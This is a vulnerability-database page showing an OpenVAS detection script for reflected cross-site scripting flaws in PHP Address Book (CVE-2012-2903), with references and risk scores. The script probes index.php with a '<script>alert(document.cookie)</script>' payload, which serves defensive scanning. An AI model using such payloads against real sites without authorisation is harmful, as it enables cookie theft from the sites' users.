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PHP Address Book Multiple XSS Vulnerabilities

🗓️ 24 May 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
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PHP Address Book Multiple Cross Site Scripting Vulnerabilitie

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ReporterTitlePublishedViews
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CVE
CVE-2012-2903
21 May 201218:00
cve
Cvelist
CVE-2012-2903
21 May 201218:00
cvelist
Exploit DB
PHP Address Book 6.2.12 - Multiple Vulnerabilities
10 Mar 201200:00
exploitdb
EUVD
EUVD-2012-2883
7 Oct 202500:30
euvd
NVD
CVE-2012-2903
21 May 201218:55
nvd
OpenVAS
PHP Address Book Multiple Cross Site Scripting Vulnerabilities
24 May 201200:00
openvas
Prion
Cross site scripting
21 May 201218:55
prion
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:chatelao:php_address_book";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902838");
  script_version("2025-09-05T15:40:40+0000");
  script_cve_id("CVE-2012-2903");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2025-09-05 15:40:40 +0000 (Fri, 05 Sep 2025)");
  script_tag(name:"creation_date", value:"2012-05-24 15:15:15 +0530 (Thu, 24 May 2012)");
  script_name("PHP Address Book Multiple XSS Vulnerabilities");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("secpod_php_address_book_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("PHP-Address-Book/installed");
  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
arbitrary HTML and script code, which will be executed in a user's browser
session in the context of an affected site.");
  script_tag(name:"affected", value:"PHP Address Book 7.0 and prior");
  script_tag(name:"insight", value:"Multiple flaws are caused by improper validation of user supplied
input by the 'preferences.php', 'group.php', 'index.php' and 'translate.php'
scripts, which allows attackers to execute arbitrary HTML and script code in a
user's browser session in the context of an affected site.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"summary", value:"PHP Address Book is prone to multiple cross-site scripting (XSS)
  vulnerabilities.");
  script_tag(name:"solution_type", value:"WillNotFix");
  script_xref(name:"URL", value:"http://secunia.com/advisories/49212");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53598");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75703");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18899");
  script_xref(name:"URL", value:"http://sourceforge.net/tracker/?func=detail&aid=3527242&group_id=157964&atid=805929");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/index.php?group="<script>alert(document.cookie)</script>';

if(http_vuln_check( port: port, url: url, check_header: TRUE,
                    pattern: "<script>alert\(document.cookie\)</script>",
                    extra_check: 'content=\"PHP-Addressbook')) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

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05 Sep 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 24.3
EPSS0.01805
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